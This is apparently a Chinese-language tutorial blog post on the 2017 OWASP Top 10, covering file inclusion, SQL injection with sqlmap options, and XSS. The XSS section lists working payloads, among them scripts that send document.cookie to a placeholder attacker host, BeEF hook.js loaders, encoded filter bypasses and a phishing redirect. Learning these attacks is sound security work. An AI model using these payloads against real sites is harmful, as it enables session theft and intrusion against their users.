OWASP TOP 10 的基础介绍

Mr.R0boter 于 2020-09-04 发布

简介

本文是基于 2017 年的 OWASP TOP 10 进行介绍的

文件上传漏洞

原因

开发人员未对上传文件进行有效的检测或过滤

防御

代码层面对上传文件的检测

waf:web 应用防火墙

对网站下文件使用 fgrep 进行过滤

文件包含漏洞

当服务器开启allow_url_include 选项时,就可以通过 php 的某些特性函数include()require()include_once()require_once() 利用 url 去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞和远程文件包含漏洞。远程文件包含漏洞时因为开启了 php 配置中的 allow_url_fopen 选项(该选项开启后服务器允许包含一个远程的文件。服务器通过 php 的特性函数去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,通过构造这个恶意文件来达到目的

  1. 文件包含(File Inclusion)即程序通过包含函数调用本地或远程文件,以此实现拓展功能
  2. 被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞
  3. 文件包含漏洞主要发生在有包含语句的环境中,例如 php 所具备的 includerequire 等包含函数

分类:

  1. LFI(本地文件包含)Local File Inclusion:所包含的文件在本地服务器上
  2. RFI(远程文件包含)Remote File Inclusion:所包含的文件在第三方服务器上(可以是自己搭建的服务器)

本地文件包含搭配文件上传漏洞

绕过 str_replace() 函数 hthttp://tp://htthttps://ps:// 。而且此函数对大小写敏感,也可以使用变换大小写绕过

str_ireplace() 函数对大小写不敏感,所以无法用大小写绕过

SQL 注入

MySQLinformation_schema

information_schema

这个库保存了 MySQL 中所有库和表以及字段的元数据(meta data)

  1. information_schema库中的schemata表中的schema_name字段保存了 MySQL 中所有库名

    select schema_name from information_schema.schemata limit 1,1;
    
  2. information_schema.tables中的table_schema字段保存了库名,table_name字段保存了对应数据库的表名

    #去重查询 MySQL 中所有库名。通过 limit 可以显示单条
    select DISTINCT table_schema from information_schema.tables;
    
    #按分组连接每个库中的表名,并按库名分类显示。此处如果只使用 concat() 函数会导致去重而且无法分辨每个表对应的库名 G 是格式化显示。还可以添加筛选条件查询单个库的表名
    select group_concat(table_name) from information_schema.tables group by table_schema\G;
    select group_concat(table_name) from infotmation_schema.tables where table_schema='dvwa';
    select table_name from information_schema.tables where table_schema='dvwa' limit 1,1;
    
    #group_concat()是将一个列中的所有数据按分组进行拼接,concat()是拼接多个列
    
  3. information_schema库中的columns表中的table_schematable_namecolumn_name分别表示库名、表名、字段名

    select group_concat(column_name),table_name,table_schema from information_schema.columns where table_schema='yazd' group by table_schema,table_name;
    
    select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 1;
    select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users';
    

SQL 注入流程

  1. 判断是否存在 SQL 注入漏洞及注入点
  2. 判断操作系统、数据库及 WEB 应用类型
  3. 获取数据库信息,包括管理员信息及拖库
  4. 破解加密的信息,sqlmap 可自动破解
  5. 提升权限,获取 sql-shel、os-shell、登陆应用后台

手动注入

  1. 基于错误的注入

    思路:通过构造特殊的 sql 语句,根据得到的错误信息确认注入点。通过数据库报错信息,也可以探测到数据库的类型和其他有用信息。一般通过输入引号触发数据库异常,通过异常日志判断数据库类型

  2. 基于布尔的注入

    思路:通过闭合 SQL 语句,构造orand的逻辑语句、注释多余的代码

  3. 基于联合查询的注入

    union语句用于联合前面的select语句,合并查询更多信息,一般通过错误和布尔注入确认注入点后,再通过union语句获取有效的信息

    1. 猜字段:因为union查询前后语句查询字段数必须一致,所以必须先猜测前面查询语句查询了几个字段,同时查看回显位
    2. 构造 SQL 语句:在回显位查询想要的信息
  4. 基于时间的盲注

    有些数据库对错误信息做了安全配置,使得无法通过上面的方法探测注入点,此时可以使用sleep(num)函数

自动化注入

sqlmap 支持 MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase 和 SAP MaxDB 等数据库的各种安全漏洞

--users	#获取所有用户名
--current-user	#获取当前用户名
--dbs #获取所有数据库名
--current-db	#获取当前数据库名
-D databasename	#指定数据库,多个库名用逗号隔开,且用双引号包裹
--tables	#获取指定数据库的全部表名
-T tablename	#指定表名,多个表名用逗号隔开,且用双引号包裹
--columns	#获取指定表的所有字段名
-C columnname	#指定字段名,多个字段用逗号隔开,且用双引号包裹
--dump	#下载指定数据库或指定表或指定字段的数据
--dump-all	#下载所有数据
--dbms=DBMS	#设置目标数据库类型,如:mysql
-u "http://url"	#指定测试的url
-p TESTPARAMETER	#指定测试 url 中的某个参数,多个参数用逗号隔开,且用双引号包裹

--batch	#所有选择都采用默认选择
--proxy="http|https|sock4|sock5:ipaddress"	#使用代理连接
--random-agent	#使用随机的浏览器标识
--tor	#使用 tor 匿名网络
--check-tor	#检查 tor 是否能使用
--cookie "cookieID=cookieVula"	#设置 cookie,多个 cookie 用分号隔开

--level=num	#设置测试级别,1-5
--risk=num	#设置风险级别,1-3

--os-shell	#建立一个系统shell
--sqlmap-shell	#建立一个 sqlmap shell,可以执行一些简单的 sql 语句

--wizard	#新手向导指南

XSS

XSS(Cross Site Scripting):跨站脚本攻击,为避免和层叠样式表(CSS)混淆,所以简称 XSS。XSS 是指恶意攻击者利用网站没有对用户提交的数据进行转义处理或过滤不足的缺点,通过添加一些代码,嵌入到 web 页面,使其他用户访问时都会执行相应的嵌入代码。从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行侵害的攻击方式

XSS 危害:

  1. 盗取用户账号,如机器登陆账号、用户网银账号、管理员账号
  2. 控制数据,如读取、篡改、添加、删除数据的能力
  3. 盗取重要资料
  4. 非法操作
  5. 挂马
  6. 控制受害者机器攻击其他网站

类型:

  1. 反射型 XSS:又称非持久性跨站点脚本攻击。漏洞产生的原因使攻击者注入的数据反应在响应中,一个典型的非持久性 XSS 攻击向量的链接(即每次攻击需要用户的点击)

    原理:js 脚本存在 URL 中,通过用户直接点击连接。

    Tips:可以配合短链生成,掩盖原始的链接

  2. 存储型 XSS:又称为持久型跨站点脚本,一般发生在 XSS 攻击向量(即 XSS 攻击代码)存储在网站数据库中,当漏洞页面被用户访问时执行,持久型比非持久型危害更大

    原理:JS 脚本存储在服务器端,任何访问存储着 JS 脚本的页面的用户都会中招

    常见于留言板、评论框

XSS 脚本:

XSS 脚本构建一般用到 HTML 标签和一些 JavaScript 方法

常用 HTML 标签:

<iframe></iframe>
<!-- iframe 元素会创建包含另外一个文档的内联框架(即行内框架) -->
<textarea></textarea>
<!-- textarea 标签定义多行的文本输入控件 -->
<img />
<!-- img 元素向网页中嵌入一副图像 -->
<script></script>
<!-- script 标签用于定义客户端脚本,比如 JavaScript。script 元素既可以包含脚本语句,页可以通过 src 属性指向外部脚本文件。必须的 type 属性规定脚本的 MIME 类型。JavaScript 的常见应用是图像操作、表单验证以及动态内容更新 -->

常用 JavaScript 方法:

alert(); //alert 方法用于显示带有一条指定小时和一个确认按钮的警告框
windows.location; /* 此对象用于获取当前页面的地址(url),并将浏览器重定向到新的页面 */
location.href; // 返回当前显示的文档的完整 URL
onload; // 一张页面或一副图像完成加载后执行
onsubmit; // 确认按钮被点击后执行
onerror; //在加载文档或图像时发生错误后执行

构建 XSS 脚本

<!-- 弹窗警告,一般用于测试目标点是否存在 XSS 漏洞或者演示使用 -->
<script>alert('xss')</script>
<script>alert(document.cookie)</script>

<!-- 页面嵌套 -->
<iframe src=http://www.baidu.com width=300 height=300></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>

<!-- 页面重定向 -->
<script>window.location="http://www.baidu.com"</script>
<script>location.href="http://www.baidu.com"</script>

<!-- 弹窗警告并重定向,可以重定向到某个网站,也可以访问指定文件 -->
<script>alert("本站迁移,请移步新站点");location.href="http://www.baidu.com/robots.txt"</script>
<!-- 结合社工思路,如站内私信发给其他用户点击并相信则可能在另外的站点(克隆网站)重新登陆账号 -->

<!-- 访问恶意代码,结合其他 XSS 接收平台或者 BeEF 收集用户 cookie -->
<script src="http://xxx.xxx.xxx.xxx/hook.js"></script>

<!-- 利用图片标签 -->
<img src='#' onerror=alert('xss')>
<img src="javascript:alert('xss');">
<img src="http://xxx.xxx.xxx.xxx/hook.js"></img>

<!-- 绕开过滤的脚本 -->
<!-- 大小写 -->
<ScrIpt>alert("xss")</SCRipT>
<!-- 字符编码 HTML 编码、URL 编码、Base64 编码等 -->
<a href="&#x68;&#x74;&#x74;&#x70;&#x3a;&#x2f;&#x2f;&#x78;&#x78;&#x78;&#x2e;&#x78;&#x78;&#x78;&#x2e;&#x78;&#x78;&#x78;&#x2e;&#x78;&#x78;&#x78;&#x2f;&#x68;&#x6f;&#x6f;&#x6b;&#x2e;&#x6a;&#x73;">leon</a>
<a href="%68%74%74%70%3a%2f%2f%78%78%78%2e%78%78%78%2e%78%78%78%2e%78%78%78%2f%68%6f%6f%6b%2e%6a%73"></a>
<a href="aHR0cDovL3h4eC54eHgueHh4Lnh4eC9ob29rLmpz"></a>

<!-- 打开新窗口并采用本地 cookie 访问目标网页 -->
<script>window.open("http://xxx.xxx.xxx.xxx/cookie.php?cookie="+document.cookie)</script>
<script>document.location="http://xxx.xxx.xxx.xxx/cookie.php?cookie="+document.cookie</script>
<script>new Image().src="http://xxx.xxx.xxx.xxx/cookie.php?cookie="+document.cookie;</script>
<img src="http://xxx.xxx.xxx.xxx/cookie.php?cookie="+document.cookie></img>
<iframe src="http://xxx.xxx.xxx.xxx/cookie.php?cookie="+document.cookie></iframe>

BeEF

基于 Ruby.2.5 的 XSS 漏洞利用工具,需要安装 bundle

git clone https://github.com/beefproject/beef.git

bundle install

默认登陆页http://xxx.xxx.xxx.xxx:3000/ui/panel

默认 JS 脚本 <script src="xxx.xxx.xxx.xxx/hook.js"></script>

Browser Exploitation Framework(BeEF):时目前最强大的浏览器开源渗透测试框架,通过 XSS 漏洞配合 JS 脚本和 Metasploit 进行渗透。

信息收集:

  1. 网络发现
  2. 主机信息
  3. Cookie 获取
  4. 会话劫持
  5. 键盘记录
  6. 插件信息

持久化控制:

  1. 确认弹框
  2. 小窗口
  3. 中间人

社会工程:

  1. 点击劫持
  2. 弹窗警告
  3. 虚假页面
  4. 钓鱼页面

渗透测试:

  1. 内网渗透
  2. Metasploit
  3. CSRF 攻击
  4. DDOS 攻击